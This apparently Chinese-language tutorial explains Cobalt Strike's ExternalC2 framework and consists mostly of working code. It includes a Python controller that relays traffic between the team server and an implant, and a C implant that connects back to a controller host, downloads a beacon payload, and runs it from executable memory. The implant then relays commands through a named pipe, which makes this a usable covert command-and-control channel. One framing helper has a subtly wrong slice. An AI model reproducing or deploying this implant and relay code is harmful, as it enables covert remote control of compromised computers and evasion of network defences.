ExternalC2是由Cobalt Strike提出的一套规范/框架,它允许黑客根据需要对框架提供的默认HTTP(S)/DNS/SMB C2 通信通道进行扩展,简单说就是用户可以开发自己的控制器(服务端)和客户端(被控端)而不是直接使用CS自己的那套,控制器与客户端怎么来都是自己说了算。
externalc2_start("0.0.0.0", 2222);
发送命令:CS服务端——>第三方控制器——>第三方客户端——>SMB beacon
返回结果:SMB beacon——>第三方控制器——>第三方客户端——>CS服务端
import socket
import struct
import time
class ExternalC2Controller:
def __init__(self, port):
self.port = port
def encodeFrame(self, data):
return struct.pack("<I", len(data)) + data
def decodeFrame(self, data):
len = struct.unpack("<I", data[0:3])
body = data[4:]
return (len, body)
def sendToTS(self, data):
self._socketTS.sendall(self.encodeFrame(data))
def recvFromTS(self):
data = ""
_len = self._socketTS.recv(4)
l = struct.unpack("<I",_len)[0]
while len(data) < l:
data += self._socketTS.recv(l - len(data))
return data
def sendToBeacon(self, data):
self._socketClient.sendall(self.encodeFrame(data))
def recvFromBeacon(self):
data = ""
_len = self._socketClient.recv(4)
l = struct.unpack("<I",_len)[0]
while len(data) < l:
data += self._socketClient.recv(l - len(data))
return data
def run(self):
# First thing, wait for a connection from our custom beacon
self._socketBeacon = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
self._socketBeacon.bind(("0.0.0.0", 8081))
self._socketBeacon.listen(1)
self._socketClient = self._socketBeacon.accept()[0]
print "Received C2 connection"
# Now we have a beacon connection, we kick off comms with CS External C2
self._socketTS = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
self._socketTS.connect(("127.0.0.1", self.port))
# Send out config options
self.sendToTS("arch=x86")
self.sendToTS("pipename=xpntest")
self.sendToTS("block=500")
self.sendToTS("go")
# Receive the beacon payload from CS to forward to our custom beacon
data = self.recvFromTS()
while(True):
print "Sending %d bytes to beacon" % len(data)
self.sendToBeacon(data)
data = self.recvFromBeacon()
print "Received %d bytes from beacon" % len(data)
print "Sending %d bytes to TS" % len(data)
self.sendToTS(data)
data = self.recvFromTS()
print "Received %d bytes from TS" % len(data)
controller = ExternalC2Controller(3389)
controller.run()
#include "stdafx.h"
// Allocates a RWX page for the CS beacon, copies the payload, and starts a new thread
void spawnBeacon(char *payload, DWORD len) {
HANDLE threadHandle;
DWORD threadId = 0;
char *alloc = (char *)VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(alloc, payload, len);
threadHandle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, &threadId);
}
// Sends data to our C2 controller received from our injected beacon
void sendData(SOCKET sd, const char *data, DWORD len) {
char *buffer = (char *)malloc(len + 4);
if (buffer == NULL)
return;
DWORD bytesWritten = 0, totalLen = 0;
*(DWORD *)buffer = len;
memcpy(buffer + 4, data, len);
while (totalLen < len + 4) {
bytesWritten = send(sd, buffer + totalLen, len + 4 - totalLen, 0);
totalLen += bytesWritten;
}
free(buffer);
}
// Receives data from our C2 controller to be relayed to the injected beacon
char *recvData(SOCKET sd, DWORD *len) {
char *buffer;
DWORD bytesReceived = 0, totalLen = 0;
*len = 0;
recv(sd, (char *)len, 4, 0);
buffer = (char *)malloc(*len);
if (buffer == NULL)
return NULL;
while (totalLen < *len) {
bytesReceived = recv(sd, buffer + totalLen, *len - totalLen, 0);
totalLen += bytesReceived;
}
return buffer;
}
// Creates a new C2 controller connection for relaying commands
SOCKET createC2Socket(const char *addr, WORD port) {
WSADATA wsd;
SOCKET sd;
SOCKADDR_IN sin;
WSAStartup(0x0202, &wsd);
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.S_un.S_addr = inet_addr(addr);
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
connect(sd, (SOCKADDR*)&sin, sizeof(sin));
return sd;
}
// Connects to the name pipe spawned by the injected beacon
HANDLE connectBeaconPipe(const char *pipeName) {
HANDLE beaconPipe;
beaconPipe = CreateFileA(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, NULL, NULL);
return beaconPipe;
}
// Receives data from our injected beacon via a named pipe
char *recvFromBeacon(HANDLE pipe, DWORD *len) {
char *buffer;
DWORD bytesRead = 0, totalLen = 0;
*len = 0;
ReadFile(pipe, len, 4, &bytesRead, NULL);
buffer = (char *)malloc(*len);
while (totalLen < *len) {
ReadFile(pipe, buffer + totalLen, *len - totalLen, &bytesRead, NULL);
totalLen += bytesRead;
}
return buffer;
}
// Write data to our injected beacon via a named pipe
void sendToBeacon(HANDLE pipe, const char *data, DWORD len) {
DWORD bytesWritten = 0;
WriteFile(pipe, &len, 4, &bytesWritten, NULL);
WriteFile(pipe, data, len, &bytesWritten, NULL);
}
int main()
{
DWORD payloadLen = 0;
char *payloadData = NULL;
HANDLE beaconPipe = INVALID_HANDLE_VALUE;
// Create a connection back to our C2 controller
SOCKET c2socket = createC2Socket("192.168.1.65", 8081);
payloadData = recvData(c2socket, &payloadLen);
// Start the CS beacon
spawnBeacon(payloadData, payloadLen);
// Loop until the pipe is up and ready to use
while (beaconPipe == INVALID_HANDLE_VALUE) {
// Create our IPC pipe for talking to the C2 beacon
Sleep(500);
beaconPipe = connectBeaconPipe("\\\\.\\pipe\\xpntest");
}
while (true) {
// Start the pipe dance
payloadData = recvFromBeacon(beaconPipe, &payloadLen);
if (payloadLen == 0) break;
sendData(c2socket, payloadData, payloadLen);
free(payloadData);
payloadData = recvData(c2socket, &payloadLen);
if (payloadLen == 0) break;
sendToBeacon(beaconPipe, payloadData, payloadLen);
free(payloadData);
}
return 0;
}